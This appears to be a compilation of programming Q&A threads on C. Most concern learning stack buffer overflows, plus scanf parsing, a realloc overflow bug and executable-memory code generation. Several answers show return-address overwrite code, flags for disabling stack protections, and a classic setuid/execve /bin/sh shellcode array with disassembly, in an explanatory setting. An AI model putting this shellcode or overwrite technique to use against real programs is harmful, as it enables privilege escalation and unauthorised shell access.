I'm trying to execute a very simple buffer overflow attack. I'm pretty much a newbie to this. So, if this question is stupid, please excuse me :-)
The code:
#include<stdio.h>
#include<stdlib.h>
int i, n;
void confused(int i)
{
printf("**Who called me? Why am I here?? *** %x\n ", i);
}
void shell_call(char *c)
{
printf(" ***Now calling \"%s\" shell command *** \n", c);
system(c);
}
void victim_func()
{
int a[4];
printf("Enter n: "); scanf("%d",&n);
printf("~~~~~~~~~~~~~ values and address of n locations ~~~~~~~~~~");
for (i = 0;i <n ;i++)
printf ("\n a[%d] = %x, address = %x", i, a[i], &a[i]);
printf("\nEnter %d HEX Values \n", n);
// Buffer Overflow vulnerability HERE!
for (i=0;i<n;i++) scanf("%x",&a[i]);
printf("Done reading junk numbers\n");
}
int main()
{
victim_func();
printf(“\n done”);
return 0;
}
When I use objdump to get the function addresses, I have the following:
main(): 0x804854d
Address of main() where printf() is called: 0x8048563
victim_func(): 0x8048455
confused(): 0x8048414
Now, what I want is to jump to the function 'confused()' from victim_func() by overflowing the buffer there, and overwriting the return address to the address of confused(). And I want to return back from confused() to the printf() statement in main, and exit normally. So, I provide the following input
Enter n: 7
Enter 7 HEX values:
1
2
3
4
5
8048414 (This is to jump to confused)
8048563 (this is to jump to printf() in main)
Although, the program prints "Done" from that printf statement, it is jumping back to victim_func() and prints "Enter n:"
What am I doing wrong? Any help would be greatly appreciated!
PS: I'm not sure if I have put the question right. Please let me know, if any more information is needed.
A buffer overflow attack is a lot more complex than this. First of all you need to understand assembler in order to perform this. After you disassemble the program and function you want to target you need to determine the stack layout when it's executing that function.
Here's a sample of a buffer overflow it's using visual studio but principle is the same.
#include "stdafx.h"
#include <math.h>
volatile double test;
double function3()
{
test++;
return exp(test);
}
double function2()
{
return log(test);
}
double function1()
{
int a[5] = {0};
a[7] = (int)&function3;
return exp(function2());
}
int _tmain(int argc, _TCHAR* argv[])
{
double a = function1();
test = a;
return a;
}
Thanks to disassembly we know that a in function1 is allocated before where the function saved the stack frame pointer. The value after that one is the return address where function1 should go to if it is finished.
00401090 55 push ebp <- we save the stack pointer
00401091 8B EC mov ebp,esp
00401093 83 EC 1C sub esp,1Ch <- save space to allocate a[5]
00401096 B8 CC CC CC CC mov eax,0CCCCCCCCh
0040109B 89 45 E4 mov dword ptr [ebp-1Ch],eax <- crt debug init a[5]
0040109E 89 45 E8 mov dword ptr [ebp-18h],eax
004010A1 89 45 EC mov dword ptr [ebp-14h],eax
004010A4 89 45 F0 mov dword ptr [ebp-10h],eax
004010A7 89 45 F4 mov dword ptr [ebp-0Ch],eax
004010AA 89 45 F8 mov dword ptr [ebp-8],eax
004010AD 89 45 FC mov dword ptr [ebp-4],eax
From this we can conclude if we overwrite a[7] with a different address, the function will return not to main but with whatever address we wrote in a[7].
Hope this helps.
Now, what I want is to jump to the function 'confused()' from victim_func() by overflowing the buffer there, and overwriting the return address to the address of confused()...
On modern Linux platforms, you will also need to ensure two security features are turned off for testing. First in NX-stacks, and second is Stack Protectors.
To turn off NX-Stacks, use -Wl,z,execstack (as opposed to -Wl,z,noexecstack). To turn off Stack Protectors, use -fno-stack-protector (as opposed to -fstack-protector or -fstack-protector-all).
There's a third protection you might need to turn off. That protection is FORTIFY_SOURCE. FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort(). To disable FORTIFY_SOURCE, compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.
The security features are turned on by default because there's been so many problems in the past. In general, its a good thing because it stops many problems (like the one you are experimenting with).
First of all it seems to me that you shouldn't enter the number 5 in your sample input. Your array is declared a[4] thus has elements indexed 0-3 - so your attack input seems wrong to me.
It also seems to me that your program assumes several thing about the architecture:
sizof(int)==sizeof(memory address)
The direction of growth and mechanism of the environments stack implementation
If one of these assumptions is untrue it's never going to work.
This seems like a very hard work work assignment.
There are easier examples of buffer overflow attacks than changing the control flow of the code. For example you might be able to overwrite another piece of data which is supposed to be protected from the user (such as a security setting)
You didn't show us the output of the program with the addresses of a[i]. I suspect that the compiler is doing something like aligning the data on the stack to 16. It could be much further to the return address than you expect.
Related
I want to scan in a date in the form of mm/dd, so I've written this code:
#include <stdio.h>
int main (void)
{
int start_date[4];
scanf("%d%d/%d%d", &start_date[0], &start_date[1], &start_date[2], &start_date[3]);
printf("%d%d%d%d\n", start_date[0], start_date[1], start_date[2], start_date[3]);
return 0;
}
But when I enter the following for example:
04/20
scanf() reads this
4-419644000
How do I make it so that when I print out each element in start_date, I get this:
0420
when I enter the input from earlier?
Reading one digit at a time
Use %1d:
int n = scanf("%1d%1d/%1d%1d", &start_date[0], &start_date[1], &start_date[2], &start_date[3]);
if (n != 4) { …handle error… }
Note that this will accept both:
19/96
and
1 9/
9
6
as valid inputs. If you need the digits to be contiguous, you have to work harder. In general, it is usually best to read a line with fgets() (or POSIX's
getline()) and then parse the line with sscanf(). You can also consider checking the length of the string, etc.
What went wrong?
Incidentally, you said:
But when I enter the following for example:
04/20
scanf() reads this
4-419644000
What happens here is that the 04 is read by the first %d; the second %d fails because / doesn't match a number, so nothing is written to &start_date[1] (or the other two items), and scanf() returns 1. Since you didn't check the return value, you weren't aware of the problem. Note that the check should be as I showed (n != 4 where 4 is the number of items you expect to be converted). Checking for EOF would not work correctly; there wasn't an EOF on the file, but there was a conversion failure. Since you printed an uninitialized variable, the value you got was indeterminate ('undefined behaviour' in the jargon); a largish negative number is reasonable (as is any other value whatsoever, or a crash, or …). In fact, you have three indeterminate numbers smushed together, of which only the first is negative. Avoid undefined behaviour; always check that your input operations succeed — and don't use the results if they fail. (Or, at least, be very cautious about using the results if they fail; you need to be sure you know what's going on.)
The %d would consume the string "04", if you want to input digit by digit really, try %c, then adjust them to digit:
char start_data[4];
scanf("%c%c/%c%c", &start_date[0], &start_date[1], &start_date[2], &start_date[3]);
start_data[0] -= '0';
start_data[1] -= '0';
start_data[2] -= '0';
start_data[3] -= '0';
Another way, you can just input mm and dd and do arithmetic on it:
int mm, dd;
scanf("%d/%d", &mm, &dd);
int m0 = mm % 10;
int m1 = mm / 10;
int d0 = dd % 10;
int d1 = dd / 10;
Change the data type to char[], so your code look like this
#include <stdio.h>
int main (void)
{
char start_date[4];
scanf("%c%c/%c%c", &start_date[0], &start_date[1], &start_date[2], &start_date[3]);
printf("%c%c%c%c\n", start_date[0], start_date[1], start_date[2], start_date[3]);
return 0;
}
If you want to change the data type of each characters to integers you can change by look into the ASCII code then substract the characters with ASCII '0'
I think you should use strptime() instead. It's purpose-built for parsing standard date formats such as yours. Just read the entire "word" as a string and feed it to strptime().
This was too long for a comment, but you can see why this is happening here:
0x080484a7 <+58>: call 0x8048360 <__isoc99_scanf#plt>
0x080484ac <+63>: mov 0x2c(%esp),%ebx
0x080484b0 <+67>: mov 0x28(%esp),%ecx
0x080484b4 <+71>: mov 0x24(%esp),%edx
0x080484b8 <+75>: mov 0x20(%esp),%eax
0x080484bc <+79>: mov %ebx,0x10(%esp)
...
End of assembler dump.
(gdb) break *main+79
Breakpoint 4 at 0x80484bc
(gdb) r
Starting program: /root/test/testcode
04/21
Breakpoint 4, 0x080484bc in main ()
(gdb) i r
eax 0x4 4
ecx 0x80484fb 134513915
edx 0xb7fff000 -1207963648
ebx 0xb7fcc000 -1208172544
esp 0xbffff720 0xbffff720
ebp 0xbffff758 0xbffff758
esi 0x0 0
edi 0x0 0
eip 0x80484bc 0x80484bc <main+79>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) c
Continuing.
4-1207963648134513915-1208172544
Here's whats happening:
mov 0x2c(%esp),%ebx
mov 0x28(%esp),%ecx
mov 0x24(%esp),%edx
mov 0x20(%esp),%eax
These four mov statements are preparation for the printf() call. Each %d corresponds to one of the registers: eax ebx ecx edx
You can see that it is moving four bytes into each register. This is the reason you see gibberish. Each %d getting printed is expecting a 4-byte integer.
I set a breakpoint after all four of those mov statements, so lets look at what they contain:
eax 0x4 4
ecx 0x80484fb 134513915
edx 0xb7fff000 -1207963648
ebx 0xb7fcc000 -1208172544
This doesn't look right at all, but it does indeed correspond to what's on the stack:
0xbffff740: 0x00000004 0xb7fff000 0x080484fb 0xb7fcc000
These are the four values that wind up in the registers.
The first one is actually your 04 combined. It interpreted 04 as being within the bounds of %d, which is a 4-byte integer on my machine.
Since you tried to grab four %d's, the program continues as it should and prints out four %ds. In other words, it prints out four 4-byte integers.
The reason this is happening is what Jonathan Leffler explained: scanf is gobbling up the 04 into the first %d, then breaking on the /
You still have a printf() of %d%d%d%d though, so the program dutifully prints out the remaining 4-byte decimal values. Since scanf failed, the remaining 3 %ds contain whatever happened to be on the stack.
Unless you have another reason for using an array to store the individual digits, I suggest you just store the month and day as variables.
Also, because you know that there is a separator, accomodate it in your code. It is simpler.
This is the code you are looking for.
#include <stdio.h>
int main (void)
{
int month, day;
char sep;
scanf("%d%c%d", &month, &sep, &day);
printf("%d of %d\n", day, month);
return 0;
}
Explanation for the printing (Printing leading 0's in C):
The 0 indicates what you are padding with and the 5 shows the width of the integer number.
Example 1: If you use "%02d" (useful for dates) this would only pad zeros for numbers in the ones column. E.g., 06 instead of 6.
Example 2: "%03d" would pad 2 zeros for one number in the ones column and pad 1 zero for a number in the tens column. E.g., number 7 padded to 007 and number 17 padded to 017.
You could have also taken the data in as a string using %5s and further extract that data from the array of characters (string). Here is a good resource with examples. -> https://cplusplus.com/reference/cstdio/scanf/
I do feel that for your solution it would still have been an overkill, so I beleive the example code provided above is sufficient.
I have a very frustrating problem. My application runs on a few machines flawlessly for a month.
However, there is one machine on which my application crashes nearly every day because of segfault.
It always crashes at the same instruction address:
segfault at 7fec33ef36a8 ip 000000000041c16d sp 00007fec50a55c80 error 6 in myapp[400000+f8000]
This address points to memcpy call.
Below, there is an excerpt #1 from my app:
....
uint32_t size = messageSize - sizeof(uint64_t) + 1;
stack->trcData = (char*)Realloc(stack->trcData,(stack->trcSize + size + sizeof(uint32_t)));
char* buffer = stack->trcData + stack->trcSize;
uint32_t n_size = htonl(size);
memcpy(buffer,&n_size,sizeof(uint32_t)); /* ip 000000000041c16d points here*/
buffer += sizeof(uint32_t);
....
stack->trcSize += size + sizeof(uint32_t);
....
where stack is a structure:
struct Stack{
char* trcData;
uint32_t trcSize;
/* ... some other elements */
};
and Realloc is a realloc wrapper:
#define Realloc(x,y) _Realloc((x),(y),__LINE__)
void* _Realloc(void* ptr,size_t size,int line){
void *tmp = realloc(ptr,size);
if(tmp == NULL){
fprintf(stderr,"R%i: Out of memory: trying to allocate: %lu.\n",line,size);
exit(EXIT_FAILURE);
}
return tmp;
}
messageSize is of uint32_t type and its value is always greater than 44 bytes. The code #1 runs in a loop. stack->trcData is just a buffer which collects some data until some condition is fulfilled. stack->trcData is always initialized to NULL. The application is compiled with gcc with optimization -O3 enabled. When I run it in gdb, of course it did not crash, as I expected;)
I ran out of ideas why myapp crashes during memcpy call. Realloc returns with no error, so I guess it allocated enough space and I can write to this area. Valgrind
valgrind --leak-check=full --track-origins=yes --show-reachable=yes myapp
shows absolutely no invalid reads/writes.
Is it possible that on this particular machine the memory itself is corrupted and it causes these often crashes? Or maybe I corrupt memory somewhere else in myapp, but if this is the case, why it does not crash earlier, when the invalid write is made?
Thanks in advance for any help.
Assembly piece:
41c164: 00
41c165: 48 01 d0 add %rdx,%rax
41c168: 44 89 ea mov %r13d,%edx
41c16b: 0f ca bswap %edx
41c16d: 89 10 mov %edx,(%rax)
41c16f: 0f b6 94 24 47 10 00 movzbl 0x1047(%rsp),%edx
41c176: 00
I'm not sure whether this information is relevant but all the machines, my application runs on successfully, have Intel processors whilst the one causing the problem has AMD.
Here is the cause of my problem.
The point is that at some loop step stack->trcSize + size exceeds UINT32_MAX. That means Realloc in fact shrinks stc->trcData. Next, I define buffer which now is far behind the allocated area. Hence, when I write to buffer I get segfault.
I've checked it and it was indeed the cause.
I would like to generate a function at runtime in C. And by this I mean I would essentially like to allocate some memory, point at it and execute it via function pointer. I realize this is a very complex topic and my question is naïve. I also realize there are some very robust libraries out there that do this (e.g. nanojit).
But I would like to learn the technique, starting with the basics. Could someone knowledgeable give me a very simple example in C?
EDIT: The answer below is great but here is the same example for Windows:
#include <Windows.h>
#define MEMSIZE 100*1024*1024
typedef void (*func_t)(void);
int main() {
HANDLE proc = GetCurrentProcess();
LPVOID p = VirtualAlloc(
NULL,
MEMSIZE,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
func_t func = (func_t)p;
PDWORD code = (PDWORD)p;
code[0] = 0xC3; // ret
if(FlushInstructionCache(
proc,
NULL,
0))
{
func();
}
CloseHandle(proc);
VirtualFree(p, 0, MEM_RELEASE);
return 0;
}
As said previously by other posters, you'll need to know your platform pretty well.
Ignoring the issue of casting a object pointer to a function pointer being, technically, UB, here's an example that works for x86/x64 OS X (and possibly Linux too). All the generated code does is return to the caller.
#include <unistd.h>
#include <sys/mman.h>
typedef void (*func_t)(void);
int main() {
/*
* Get a RWX bit of memory.
* We can't just use malloc because the memory it returns might not
* be executable.
*/
unsigned char *code = mmap(NULL, getpagesize(),
PROT_READ|PROT_EXEC|PROT_WRITE,
MAP_SHARED|MAP_ANON, 0, 0);
/* Technically undefined behaviour */
func_t func = (func_t) code;
code[0] = 0xC3; /* x86 'ret' instruction */
func();
return 0;
}
Obviously, this will be different across different platforms but it outlines the basics needed: get executable section of memory, write instructions, execute instructions.
This requires you to know your platform. For instance, what is the C calling convention on your platform? Where are parameters stored? What register holds the return value? What registers must be saved and restored? Once you know that, you can essentially write some C code that assembles code into a block of memory, then cast that memory into a function pointer (though this is technically forbidden in ANSI C, and will not work depending if your platform marks some pages of memory as non-executable aka NX bit).
The simple way to go about this is simply to write some code, compile it, then disassemble it and look at what bytes correspond to which instructions. You can write some C code that fills allocated memory with that collection of bytes and then casts it to a function pointer of the appropriate type and executes.
It's probably best to start by reading the calling conventions for your architecture and compiler. Then learn to write assembly that can be called from C (i.e., follows the calling convention).
If you have tools, they can help you get some things right easier. For example, instead of trying to design the right function prologue/epilogue, I can just code this in C:
int foo(void* Data)
{
return (Data != 0);
}
Then (MicrosoftC under Windows) feed it to "cl /Fa /c foo.c". Then I can look at "foo.asm":
_Data$ = 8
; Line 2
push ebp
mov ebp, esp
; Line 3
xor eax, eax
cmp DWORD PTR _Data$[ebp], 0
setne al
; Line 4
pop ebp
ret 0
I could also use "dumpbin /all foo.obj" to see that the exact bytes of the function were:
00000000: 55 8B EC 33 C0 83 7D 08 00 0F 95 C0 5D C3
Just saves me some time getting the bytes exactly right...
I'm attempting to write a simple buffer overflow using C on Mac OS X 10.6 64-bit. Here's the concept:
void function() {
char buffer[64];
buffer[offset] += 7; // i'm not sure how large offset needs to be, or if
// 7 is correct.
}
int main() {
int x = 0;
function();
x += 1;
printf("%d\n", x); // the idea is to modify the return address so that
// the x += 1 expression is not executed and 0 gets
// printed
return 0;
}
Here's part of main's assembler dump:
...
0x0000000100000ebe <main+30>: callq 0x100000e30 <function>
0x0000000100000ec3 <main+35>: movl $0x1,-0x8(%rbp)
0x0000000100000eca <main+42>: mov -0x8(%rbp),%esi
0x0000000100000ecd <main+45>: xor %al,%al
0x0000000100000ecf <main+47>: lea 0x56(%rip),%rdi # 0x100000f2c
0x0000000100000ed6 <main+54>: callq 0x100000ef4 <dyld_stub_printf>
...
I want to jump over the movl instruction, which would mean I'd need to increment the return address by 42 - 35 = 7 (correct?). Now I need to know where the return address is stored so I can calculate the correct offset.
I have tried searching for the correct value manually, but either 1 gets printed or I get abort trap – is there maybe some kind of buffer overflow protection going on?
Using an offset of 88 works on my machine. I used Nemo's approach of finding out the return address.
This 32-bit example illustrates how you can figure it out, see below for 64-bit:
#include <stdio.h>
void function() {
char buffer[64];
char *p;
asm("lea 4(%%ebp),%0" : "=r" (p)); // loads address of return address
printf("%d\n", p - buffer); // computes offset
buffer[p - buffer] += 9; // 9 from disassembling main
}
int main() {
volatile int x = 7;
function();
x++;
printf("x = %d\n", x); // prints 7, not 8
}
On my system the offset is 76. That's the 64 bytes of the buffer (remember, the stack grows down, so the start of the buffer is far from the return address) plus whatever other detritus is in between.
Obviously if you are attacking an existing program you can't expect it to compute the answer for you, but I think this illustrates the principle.
(Also, we are lucky that +9 does not carry out into another byte. Otherwise the single byte increment would not set the return address how we expected. This example may break if you get unlucky with the return address within main)
I overlooked the 64-bitness of the original question somehow. The equivalent for x86-64 is 8(%rbp) because pointers are 8 bytes long. In that case my test build happens to produce an offset of 104. In the code above substitute 8(%%rbp) using the double %% to get a single % in the output assembly. This is described in this ABI document. Search for 8(%rbp).
There is a complaint in the comments that 4(%ebp) is just as magic as 76 or any other arbitrary number. In fact the meaning of the register %ebp (also called the "frame pointer") and its relationship to the location of the return address on the stack is standardized. One illustration I quickly Googled is here. That article uses the terminology "base pointer". If you wanted to exploit buffer overflows on other architectures it would require similarly detailed knowledge of the calling conventions of that CPU.
Roddy is right that you need to operate on pointer-sized values.
I would start by reading values in your exploit function (and printing them) rather than writing them. As you crawl past the end of your array, you should start to see values from the stack. Before long you should find the return address and be able to line it up with your disassembler dump.
Disassemble function() and see what it looks like.
Offset needs to be negative positive, maybe 64+8, as it's a 64-bit address. Also, you should do the '+7' on a pointer-sized object, not on a char. Otherwise if the two addresses cross a 256-byte boundary you will have exploited your exploit....
You might try running your code in a debugger, stepping each assembly line at a time, and examining the stack's memory space as well as registers.
I always like to operate on nice data types, like this one:
struct stackframe {
char *sf_bp;
char *sf_return_address;
};
void function() {
/* the following code is dirty. */
char *dummy;
dummy = (char *)&dummy;
struct stackframe *stackframe = dummy + 24; /* try multiples of 4 here. */
/* here starts the beautiful code. */
stackframe->sf_return_address += 7;
}
Using this code, you can easily check with the debugger whether the value in stackframe->sf_return_address matches your expectations.
WARNING: This is an exploit. Do not execute this code.
//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
can anyone give me a better explanation ?
Apparently, this code attempts to change the stack so that when the main function returns, program execution does not return regularly into the runtime library (which would normally terminate the program), but would jump instead into the code saved in the shellcode array.
1) int *ret;
defines a variable on the stack, just beneath the main function's arguments.
2) ret = (int *)&ret + 2;
lets the ret variable point to a int * that is placed two ints above ret on the stack. Supposedly that's where the return address is located where the program will continue when main returns.
2) (*ret) = (int)shellcode;
The return address is set to the address of the shellcode array's contents, so that shellcode's contents will be executed when main returns.
shellcode seemingly contains machine instructions that possibly do a system call to launch /bin/sh. I could be wrong on this as I didn't actually disassemble shellcode.
P.S.: This code is machine- and compiler-dependent and will possibly not work on all platforms.
Reply to your second question:
and what happens if I use
ret=(int)&ret +2 and why did we add 2?
why not 3 or 4??? and I think that int
is 4 bytes so 2 will be 8bytes no?
ret is declared as an int*, therefore assigning an int (such as (int)&ret) to it would be an error. As to why 2 is added and not any other number: apparently because this code assumes that the return address will lie at that location on the stack. Consider the following:
This code assumes that the call stack grows downward when something is pushed on it (as it indeed does e.g. with Intel processors). That is the reason why a number is added and not subtracted: the return address lies at a higher memory address than automatic (local) variables (such as ret).
From what I remember from my Intel assembly days, a C function is often called like this: First, all arguments are pushed onto the stack in reverse order (right to left). Then, the function is called. The return address is thus pushed on the stack. Then, a new stack frame is set up, which includes pushing the ebp register onto the stack. Then, local variables are set up on the stack beneath all that has been pushed onto it up to this point.
Now I assume the following stack layout for your program:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
At the bottom lies ret (which is a 32-bit integer). Above it is the saved ebp register (which is also 32 bits wide). Above that is the 32-bit return address. (Above that would be main's arguments -- argc and argv -- but these aren't important here.) When the function executes, the stack pointer points at ret. The return address lies 64 bits "above" ret, which corresponds to the + 2 in
ret = (int*)&ret + 2;
It is + 2 because ret is a int*, and an int is 32 bit, therefore adding 2 means setting it to a memory location 2 × 32 bits (=64 bits) above (int*)&ret... which would be the return address' location, if all the assumptions in the above paragraph are correct.
Excursion: Let me demonstrate in Intel assembly language how a C function might be called (if I remember correctly -- I'm no guru on this topic so I might be wrong):
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
Inside main, the following might happen:
// create a new stack frame and make room for local variables:
push ebp
mov ebp, esp
sub esp, 4
// access return address:
mov edi, ss:[ebp+4]
// access argument 'argc'
mov eax, ss:[ebp+8]
// access argument 'argv'
mov ebx, ss:[ebp+12]
// access local variable 'ret'
mov edx, ss:[ebp-4]
...
// restore stack frame and return to caller (by popping the return address)
mov esp, ebp
pop ebp
retf
See also: Description of the procedure call sequence in C for another explanation of this topic.
The actual shellcode is:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
This corresponds to roughly
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
That string is from an old document on buffer overflows, and will execute /bin/sh. Since it's malicious code (well, when paired with a buffer exploit) - you should really include it's origin next time.
From that same document, how to code stack based exploits :
/* the shellcode is hex for: */
#include <stdio.h>
main() {
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
The code you included causes the contents of shellcode[] to be executed, running execve, and providing access to the shell. And the term Shellcode? From Wikipedia :
In computer security, a shellcode is a
small piece of code used as the
payload in the exploitation of a
software vulnerability. It is called
"shellcode" because it typically
starts a command shell from which the
attacker can control the compromised
machine. Shellcode is commonly written
in machine code, but any piece of code
that performs a similar task can be
called shellcode.
Without looking up all the actual opcodes to confirm, the shellcode array contains the machine code necessary to exec /bin/sh. This shellcode is machine code carefully constructed to perform the desired operation on a specific target platform and not to contain any null bytes.
The code in main() is changing the return address and the flow of execution in order to cause the program to spawn a shell by having the instructions in the shellcode array executed.
See Smashing The Stack For Fun And Profit for a description on how shellcode such as this can be created and how it might be used.
The string contains a series of bytes represented in hexadecimal.
The bytes encode a series of instructions for a particular processor on a particular platform — hopefully, yours. (Edit: if it's malware, hopefully not yours!)
The variable is defined just to get a handle to the stack. A bookmark, if you will. Then pointer arithmetic is used, again platform-dependent, to manipulate the state of the program to cause the processor to jump to and execute the bytes in the string.
Each \xXX is a hexadecimal number. One, two or three of such numbers together form an op-code (google for it). Together it forms assembly which can be executed by the machine more or less directly. And this code tries to execute the shellcode.
I think the shellcode tries to spawn a shell.
This is just spawn /bin/sh, for example in C like execve("/bin/sh", NULL, NULL);